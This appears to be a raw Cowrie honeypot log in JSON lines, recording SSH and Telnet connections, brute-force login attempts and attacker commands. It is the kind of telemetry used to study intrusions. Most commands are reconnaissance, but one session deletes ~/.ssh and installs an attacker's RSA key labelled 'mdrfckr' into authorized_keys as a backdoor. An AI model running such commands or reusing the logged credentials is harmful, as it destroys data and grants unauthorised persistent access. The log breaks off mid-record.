{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:20.889824Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:21.071142Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:21.463997Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:21.468530Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:21.649675Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.057752Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.062104Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.245532Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.629256Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.632526Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:22.811106Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.208754Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.212339Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.391684Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.782958Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.786776Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:23.966309Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:24.361987Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:24.365922Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:24.546549Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:24.940833Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:24.945237Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:25.126736Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:25.134040Z","src_ip":"124.18.182.99","session":"7d7ea26dfdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71278aa512a","protocol":"telnet","message":"New connection: 104.245.105.2:39622 (10.17.0.5:23) [session: f71278aa512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:26.447271Z"}
{"eventid":"cowrie.session.closed","duration":31.186288595199585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:28.287109Z","src_ip":"104.245.105.2","session":"e69798878964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.54.122","src_port":49094,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2735db1f81","protocol":"telnet","message":"New connection: 72.167.54.122:49094 (159.203.135.109:23) [session: 3a2735db1f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:38.353684Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":55774,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f62bd33a451","protocol":"ssh","message":"New connection: 114.35.59.237:55774 (10.17.0.5:22) [session: 7f62bd33a451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:39.933692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:39.938442Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:40.153141Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":44152,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b1be273f42","protocol":"ssh","message":"New connection: 223.17.5.126:44152 (159.203.135.109:22) [session: 25b1be273f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:40.222349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:40.229303Z","src_ip":"223.17.5.126","session":"25b1be273f42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:40.447282Z","src_ip":"223.17.5.126","session":"25b1be273f42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator389","message":"login attempt [admin/administrator389] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.042100Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZxsw23edc","message":"login attempt [root/!QAZxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.354047Z","src_ip":"223.17.5.126","session":"25b1be273f42","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.506077Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.509047Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.512338Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:41.730016Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.195323Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.198868Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.417722Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.421414Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.574728Z","src_ip":"223.17.5.126","session":"25b1be273f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb588620a64","protocol":"ssh","message":"New connection: 114.35.59.237:56286 (10.17.0.5:22) [session: ffb588620a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.614490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.619347Z","src_ip":"114.35.59.237","session":"ffb588620a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:42.825821Z","src_ip":"114.35.59.237","session":"ffb588620a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:43.682749Z","src_ip":"114.35.59.237","session":"ffb588620a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b1dcd2ba08d","protocol":"telnet","message":"New connection: 104.245.105.2:43616 (10.17.0.5:23) [session: 9b1dcd2ba08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:43.696589Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:44.890782Z","src_ip":"114.35.59.237","session":"ffb588620a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":56288,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9951e93c075","protocol":"ssh","message":"New connection: 114.35.59.237:56288 (10.17.0.5:22) [session: b9951e93c075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:45.098183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:45.102808Z","src_ip":"114.35.59.237","session":"b9951e93c075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sh